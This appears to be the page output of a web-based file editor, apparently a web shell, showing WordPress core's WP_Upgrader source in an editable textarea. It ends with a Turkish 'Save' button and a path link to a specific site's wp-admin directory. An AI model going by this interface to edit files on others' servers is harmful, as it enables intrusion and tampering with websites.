			// Don&#039;t output the &#039;no signature could be found&#039; failure message for now.
			if ( &#039;signature_verification_no_signature&#039; !== $download-&gt;get_error_code() || WP_DEBUG ) {
				// Output the failure error as a normal feedback, and not as an error.
				$this-&gt;skin-&gt;feedback( $download-&gt;get_error_message() );

				// Report this failure back to WordPress.org for debugging purposes.
				wp_version_check(
					array(
						&#039;signature_failure_code&#039; =&gt; $download-&gt;get_error_code(),
						&#039;signature_failure_data&#039; =&gt; $download-&gt;get_error_data(),
					)
				);
			}

			// Pretend this error didn&#039;t happen.
			$download = $download-&gt;get_error_data( &#039;softfail-filename&#039; );
		}

		if ( is_wp_error( $download ) ) {
			$this-&gt;skin-&gt;error( $download );
			$this-&gt;skin-&gt;after();
			if ( ! $options[&#039;is_multi&#039;] ) {
				$this-&gt;skin-&gt;footer();
			}
			return $download;
		}

		$delete_package = ( $download !== $options[&#039;package&#039;] ); // Do not delete a &quot;local&quot; file.

		// Unzips the file into a temporary directory.
		$working_dir = $this-&gt;unpack_package( $download, $delete_package );
		if ( is_wp_error( $working_dir ) ) {
			$this-&gt;skin-&gt;error( $working_dir );
			$this-&gt;skin-&gt;after();
			if ( ! $options[&#039;is_multi&#039;] ) {
				$this-&gt;skin-&gt;footer();
			}
			return $working_dir;
		}

		// With the given options, this installs it to the destination directory.
		$result = $this-&gt;install_package(
			array(
				&#039;source&#039;                      =&gt; $working_dir,
				&#039;destination&#039;                 =&gt; $options[&#039;destination&#039;],
				&#039;clear_destination&#039;           =&gt; $options[&#039;clear_destination&#039;],
				&#039;abort_if_destination_exists&#039; =&gt; $options[&#039;abort_if_destination_exists&#039;],
				&#039;clear_working&#039;               =&gt; $options[&#039;clear_working&#039;],
				&#039;hook_extra&#039;                  =&gt; $options[&#039;hook_extra&#039;],
			)
		);

		/**
		 * Filters the result of WP_Upgrader::install_package().
		 *
		 * @since 5.7.0
		 *
		 * @param array|WP_Error $result     Result from WP_Upgrader::install_package().
		 * @param array          $hook_extra Extra arguments passed to hooked filters.
		 */
		$result = apply_filters( &#039;upgrader_install_package_result&#039;, $result, $options[&#039;hook_extra&#039;] );

		$this-&gt;skin-&gt;set_result( $result );

		if ( is_wp_error( $result ) ) {
			// An automatic plugin update will have already performed its rollback.
			if ( ! empty( $options[&#039;hook_extra&#039;][&#039;temp_backup&#039;] ) ) {
				$this-&gt;temp_restores[] = $options[&#039;hook_extra&#039;][&#039;temp_backup&#039;];

				/*
				 * Restore the backup on shutdown.
				 * Actions running on `shutdown` are immune to PHP timeouts,
				 * so in case the failure was due to a PHP timeout,
				 * it will still be able to properly restore the previous version.
				 *
				 * Zero arguments are accepted as a string can sometimes be passed
				 * internally during actions, causing an error because
				 * `WP_Upgrader::restore_temp_backup()` expects an array.
				 */
				add_action( &#039;shutdown&#039;, array( $this, &#039;restore_temp_backup&#039; ), 10, 0 );
			}
			$this-&gt;skin-&gt;error( $result );

			if ( ! method_exists( $this-&gt;skin, &#039;hide_process_failed&#039; ) || ! $this-&gt;skin-&gt;hide_process_failed( $result ) ) {
				$this-&gt;skin-&gt;feedback( &#039;process_failed&#039; );
			}
		} else {
			// Installation succeeded.
			$this-&gt;skin-&gt;feedback( &#039;process_success&#039; );
		}

		$this-&gt;skin-&gt;after();

		// Clean up the backup kept in the temporary backup directory.
		if ( ! empty( $options[&#039;hook_extra&#039;][&#039;temp_backup&#039;] ) ) {
			// Delete the backup on `shutdown` to avoid a PHP timeout.
			add_action( &#039;shutdown&#039;, array( $this, &#039;delete_temp_backup&#039; ), 100, 0 );
		}

		if ( ! $options[&#039;is_multi&#039;] ) {

			/**
			 * Fires when the upgrader process is complete.
			 *
			 * See also {@see &#039;upgrader_package_options&#039;}.
			 *
			 * @since 3.6.0
			 * @since 3.7.0 Added to WP_Upgrader::run().
			 * @since 4.6.0 `$translations` was added as a possible argument to `$hook_extra`.
			 *
			 * @param WP_Upgrader $upgrader   WP_Upgrader instance. In other contexts this might be a
			 *                                Theme_Upgrader, Plugin_Upgrader, Core_Upgrade, or Language_Pack_Upgrader instance.
			 * @param array       $hook_extra {
			 *     Array of bulk item update data.
			 *
			 *     @type string $action       Type of action. Default &#039;update&#039;.
			 *     @type string $type         Type of update process. Accepts &#039;plugin&#039;, &#039;theme&#039;, &#039;translation&#039;, or &#039;core&#039;.
			 *     @type bool   $bulk         Whether the update process is a bulk update. Default true.
			 *     @type array  $plugins      Array of the basename paths of the plugins&#039; main files.
			 *     @type array  $themes       The theme slugs.
			 *     @type array  $translations {
			 *         Array of translations update data.
			 *
			 *         @type string $language The locale the translation is for.
			 *         @type string $type     Type of translation. Accepts &#039;plugin&#039;, &#039;theme&#039;, or &#039;core&#039;.
			 *         @type string $slug     Text domain the translation is for. The slug of a theme/plugin or
			 *                                &#039;default&#039; for core translations.
			 *         @type string $version  The version of a theme, plugin, or core.
			 *     }
			 * }
			 */
			do_action( &#039;upgrader_process_complete&#039;, $this, $options[&#039;hook_extra&#039;] );

			$this-&gt;skin-&gt;footer();
		}

		return $result;
	}

	/**
	 * Toggles maintenance mode for the site.
	 *
	 * Creates/deletes the maintenance file to enable/disable maintenance mode.
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param bool $enable True to enable maintenance mode, false to disable.
	 */
	public function maintenance_mode( $enable = false ) {
		global $wp_filesystem;

		if ( ! $wp_filesystem ) {
			require_once ABSPATH . &#039;wp-admin/includes/file.php&#039;;
			WP_Filesystem();
		}

		$file = $wp_filesystem-&gt;abspath() . &#039;.maintenance&#039;;
		if ( $enable ) {
			if ( ! wp_doing_cron() ) {
				$this-&gt;skin-&gt;feedback( &#039;maintenance_start&#039; );
			}
			// Create maintenance file to signal that we are upgrading.
			$maintenance_string = &#039;&lt;?php $upgrading = &#039; . time() . &#039;; ?&gt;&#039;;
			$wp_filesystem-&gt;delete( $file );
			$wp_filesystem-&gt;put_contents( $file, $maintenance_string, FS_CHMOD_FILE );
		} elseif ( ! $enable &amp;&amp; $wp_filesystem-&gt;exists( $file ) ) {
			if ( ! wp_doing_cron() ) {
				$this-&gt;skin-&gt;feedback( &#039;maintenance_end&#039; );
			}
			$wp_filesystem-&gt;delete( $file );
		}
	}

	/**
	 * Creates a lock using WordPress options.
	 *
	 * @since 4.5.0
	 *
	 * @global wpdb $wpdb The WordPress database abstraction object.
	 *
	 * @param string $lock_name       The name of this unique lock.
	 * @param int    $release_timeout Optional. The duration in seconds to respect an existing lock.
	 *                                Default: 1 hour.
	 * @return bool False if a lock couldn&#039;t be created or if the lock is still valid. True otherwise.
	 */
	public static function create_lock( $lock_name, $release_timeout = null ) {
		global $wpdb;
		if ( ! $release_timeout ) {
			$release_timeout = HOUR_IN_SECONDS;
		}
		$lock_option = $lock_name . &#039;.lock&#039;;

		// Try to lock.
		$lock_result = $wpdb-&gt;query( $wpdb-&gt;prepare( &quot;INSERT IGNORE INTO `$wpdb-&gt;options` ( `option_name`, `option_value`, `autoload` ) VALUES (%s, %s, &#039;off&#039;) /* LOCK */&quot;, $lock_option, time() ) );

		if ( ! $lock_result ) {
			$lock_result = get_option( $lock_option );

			// If a lock couldn&#039;t be created, and there isn&#039;t a lock, bail.
			if ( ! $lock_result ) {
				return false;
			}

			// Check to see if the lock is still valid. If it is, bail.
			if ( $lock_result &gt; ( time() - $release_timeout ) ) {
				return false;
			}

			// There must exist an expired lock, clear it and re-gain it.
			WP_Upgrader::release_lock( $lock_name );

			return WP_Upgrader::create_lock( $lock_name, $release_timeout );
		}

		// Update the lock, as by this point we&#039;ve definitely got a lock, just need to fire the actions.
		update_option( $lock_option, time(), false );

		return true;
	}

	/**
	 * Releases an upgrader lock.
	 *
	 * @since 4.5.0
	 *
	 * @see WP_Upgrader::create_lock()
	 *
	 * @param string $lock_name The name of this unique lock.
	 * @return bool True if the lock was successfully released. False on failure.
	 */
	public static function release_lock( $lock_name ) {
		return delete_option( $lock_name . &#039;.lock&#039; );
	}

	/**
	 * Moves the plugin or theme being updated into a temporary backup directory.
	 *
	 * @since 6.3.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param string[] $args {
	 *     Array of data for the temporary backup.
	 *
	 *     @type string $slug Plugin or theme slug.
	 *     @type string $src  Path to the root directory for plugins or themes.
	 *     @type string $dir  Destination subdirectory name. Accepts &#039;plugins&#039; or &#039;themes&#039;.
	 * }
	 *
	 * @return bool|WP_Error True on success, false on early exit, otherwise WP_Error.
	 */
	public function move_to_temp_backup_dir( $args ) {
		global $wp_filesystem;

		if ( empty( $args[&#039;slug&#039;] ) || empty( $args[&#039;src&#039;] ) || empty( $args[&#039;dir&#039;] ) ) {
			return false;
		}

		/*
		 * Skip any plugin that has &quot;.&quot; as its slug.
		 * A slug of &quot;.&quot; will result in a `$src` value ending in a period.
		 *
		 * On Windows, this will cause the &#039;plugins&#039; folder to be moved,
		 * and will cause a failure when attempting to call `mkdir()`.
		 */
		if ( &#039;.&#039; === $args[&#039;slug&#039;] ) {
			return false;
		}

		if ( ! $wp_filesystem-&gt;wp_content_dir() ) {
			return new WP_Error( &#039;fs_no_content_dir&#039;, $this-&gt;strings[&#039;fs_no_content_dir&#039;] );
		}

		$dest_dir = $wp_filesystem-&gt;wp_content_dir() . &#039;upgrade-temp-backup/&#039;;
		$sub_dir  = $dest_dir . $args[&#039;dir&#039;] . &#039;/&#039;;

		// Create the temporary backup directory if it does not exist.
		if ( ! $wp_filesystem-&gt;is_dir( $sub_dir ) ) {
			if ( ! $wp_filesystem-&gt;is_dir( $dest_dir ) ) {
				$wp_filesystem-&gt;mkdir( $dest_dir, FS_CHMOD_DIR );
			}

			if ( ! $wp_filesystem-&gt;mkdir( $sub_dir, FS_CHMOD_DIR ) ) {
				// Could not create the backup directory.
				return new WP_Error( &#039;fs_temp_backup_mkdir&#039;, $this-&gt;strings[&#039;temp_backup_mkdir_failed&#039;] );
			}
		}

		$src_dir = $wp_filesystem-&gt;find_folder( $args[&#039;src&#039;] );
		$src     = trailingslashit( $src_dir ) . $args[&#039;slug&#039;];
		$dest    = $dest_dir . trailingslashit( $args[&#039;dir&#039;] ) . $args[&#039;slug&#039;];

		// Delete the temporary backup directory if it already exists.
		if ( $wp_filesystem-&gt;is_dir( $dest ) ) {
			$wp_filesystem-&gt;delete( $dest, true );
		}

		// Move to the temporary backup directory.
		$result = move_dir( $src, $dest, true );
		if ( is_wp_error( $result ) ) {
			return new WP_Error( &#039;fs_temp_backup_move&#039;, $this-&gt;strings[&#039;temp_backup_move_failed&#039;] );
		}

		return true;
	}

	/**
	 * Restores the plugin or theme from temporary backup.
	 *
	 * @since 6.3.0
	 * @since 6.6.0 Added the `$temp_backups` parameter.
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param array[] $temp_backups {
	 *     Optional. An array of temporary backups.
	 *
	 *     @type array ...$0 {
	 *         Information about the backup.
	 *
	 *         @type string $dir  The temporary backup location in the upgrade-temp-backup directory.
	 *         @type string $slug The item&#039;s slug.
	 *         @type string $src  The directory where the original is stored. For example, `WP_PLUGIN_DIR`.
	 *     }
	 * }
	 * @return bool|WP_Error True on success, false on early exit, otherwise WP_Error.
	 */
	public function restore_temp_backup( array $temp_backups = array() ) {
		global $wp_filesystem;

		$errors = new WP_Error();

		if ( empty( $temp_backups ) ) {
			$temp_backups = $this-&gt;temp_restores;
		}

		foreach ( $temp_backups as $args ) {
			if ( empty( $args[&#039;slug&#039;] ) || empty( $args[&#039;src&#039;] ) || empty( $args[&#039;dir&#039;] ) ) {
				return false;
			}

			if ( ! $wp_filesystem-&gt;wp_content_dir() ) {
				$errors-&gt;add( &#039;fs_no_content_dir&#039;, $this-&gt;strings[&#039;fs_no_content_dir&#039;] );
				return $errors;
			}

			$src      = $wp_filesystem-&gt;wp_content_dir() . &#039;upgrade-temp-backup/&#039; . $args[&#039;dir&#039;] . &#039;/&#039; . $args[&#039;slug&#039;];
			$dest_dir = $wp_filesystem-&gt;find_folder( $args[&#039;src&#039;] );
			$dest     = trailingslashit( $dest_dir ) . $args[&#039;slug&#039;];

			if ( $wp_filesystem-&gt;is_dir( $src ) ) {
				// Cleanup.
				if ( $wp_filesystem-&gt;is_dir( $dest ) &amp;&amp; ! $wp_filesystem-&gt;delete( $dest, true ) ) {
					$errors-&gt;add(
						&#039;fs_temp_backup_delete&#039;,
						sprintf( $this-&gt;strings[&#039;temp_backup_restore_failed&#039;], $args[&#039;slug&#039;] )
					);
					continue;
				}

				// Move it.
				$result = move_dir( $src, $dest, true );
				if ( is_wp_error( $result ) ) {
					$errors-&gt;add(
						&#039;fs_temp_backup_delete&#039;,
						sprintf( $this-&gt;strings[&#039;temp_backup_restore_failed&#039;], $args[&#039;slug&#039;] )
					);
					continue;
				}
			}
		}

		return $errors-&gt;has_errors() ? $errors : true;
	}

	/**
	 * Deletes a temporary backup.
	 *
	 * @since 6.3.0
	 * @since 6.6.0 Added the `$temp_backups` parameter.
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param array[] $temp_backups {
	 *     Optional. An array of temporary backups.
	 *
	 *     @type array ...$0 {
	 *         Information about the backup.
	 *
	 *         @type string $dir  The temporary backup location in the upgrade-temp-backup directory.
	 *         @type string $slug The item&#039;s slug.
	 *         @type string $src  The directory where the original is stored. For example, `WP_PLUGIN_DIR`.
	 *     }
	 * }
	 * @return bool|WP_Error True on success, false on early exit, otherwise WP_Error.
	 */
	public function delete_temp_backup( array $temp_backups = array() ) {
		global $wp_filesystem;

		$errors = new WP_Error();

		if ( empty( $temp_backups ) ) {
			$temp_backups = $this-&gt;temp_backups;
		}

		foreach ( $temp_backups as $args ) {
			if ( empty( $args[&#039;slug&#039;] ) || empty( $args[&#039;dir&#039;] ) ) {
				return false;
			}

			if ( ! $wp_filesystem-&gt;wp_content_dir() ) {
				$errors-&gt;add( &#039;fs_no_content_dir&#039;, $this-&gt;strings[&#039;fs_no_content_dir&#039;] );
				return $errors;
			}

			$temp_backup_dir = $wp_filesystem-&gt;wp_content_dir() . &quot;upgrade-temp-backup/{$args[&#039;dir&#039;]}/{$args[&#039;slug&#039;]}&quot;;

			if ( ! $wp_filesystem-&gt;delete( $temp_backup_dir, true ) ) {
				$errors-&gt;add(
					&#039;temp_backup_delete_failed&#039;,
					sprintf( $this-&gt;strings[&#039;temp_backup_delete_failed&#039;], $args[&#039;slug&#039;] )
				);
				continue;
			}
		}

		return $errors-&gt;has_errors() ? $errors : true;
	}
}

/** Plugin_Upgrader class */
require_once ABSPATH . &#039;wp-admin/includes/class-plugin-upgrader.php&#039;;

/** Theme_Upgrader class */
require_once ABSPATH . &#039;wp-admin/includes/class-theme-upgrader.php&#039;;

/** Language_Pack_Upgrader class */
require_once ABSPATH . &#039;wp-admin/includes/class-language-pack-upgrader.php&#039;;

/** Core_Upgrader class */
require_once ABSPATH . &#039;wp-admin/includes/class-core-upgrader.php&#039;;

/** File_Upload_Upgrader class */
require_once ABSPATH . &#039;wp-admin/includes/class-file-upload-upgrader.php&#039;;

/** WP_Automatic_Updater class */
require_once ABSPATH . &#039;wp-admin/includes/class-wp-automatic-updater.php&#039;;
</textarea><br><br>
        <button>Kaydet</button>
        </form><a href='?path=%2Fhome%2Fm.elifov%2Fstudyondalinda.com%2Fwp-admin'>?? Yukar?</a>